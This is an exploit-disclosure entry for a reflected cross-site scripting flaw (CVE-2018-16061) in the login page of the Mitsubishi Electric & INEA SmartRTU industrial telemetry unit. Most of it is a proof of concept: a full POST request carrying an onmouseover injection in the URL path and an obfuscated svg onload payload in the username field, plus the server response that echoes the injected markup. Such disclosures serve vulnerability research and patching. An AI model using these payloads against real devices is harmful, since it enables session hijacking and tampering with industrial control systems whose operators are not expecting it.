Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting Vulnerability

# Exploit Title: Mitsubishi Electric & INEA SmartRTU - Reflected Cross-Site Scripting (XSS)
# Exploit Author: Hamit CİBO
# Vendor Homepage: https://www.inea.si
# Software Link: https://www.inea.si/telemetrija-in-m2m-produkti/mertu/
# Version: ME RTU
# Tested on: Windows
# CVE : CVE-2018-16061


# PoC
# Request

POST
/login.php/srdzz'onmouseover%3d'alert(1)'style%3d'position%3aabsolute%3bwidth%3a100%25%3bheight%3a100%25%
3btop%3a0%3bleft%3a0%3b'bsmy8 HTTP/1.1
Host: **.**.**.***
Content-Length: 132
Cache-Control: max-age=0
Origin: http://**.**.**.***
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/68.0.3440.84
Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Referer: http://**.**.**.***sss/login.php
Accept-Encoding: gzip, deflate
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: PHPSESSID=el8pvccq5747u4qj9koio950l7
Connection: close

submitted=1&username=--
%3E%27%22%2F%3E%3C%2FsCript%3E%3CsvG+x%3D%22%3E%22+onload%3D%28co%5Cu006efirm%29%60%60&passw
ord=&Submit=Login

# Response

HTTP/1.1 200 OK
Date: Wed, 08 Aug 2018 08:14:25 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4
Vary: Accept-Encoding
Content-Length: 3573
Connection: close
Content-Type: text/html

<div id='fg_membersite' class='login_form'>
<form id='login' name='login'
action='/login.php/srdzz'onmouseover='alert(1)'style='position:absolute;width:100%;height:100%;top:0;left:0;'bsmy8'
method='post' accept-charset='UTF-8'>


Reference :

https://drive.google.com/file/d/1DEZQqfpIgcflY2cF6O0y7vtlWYe8Wjjv/view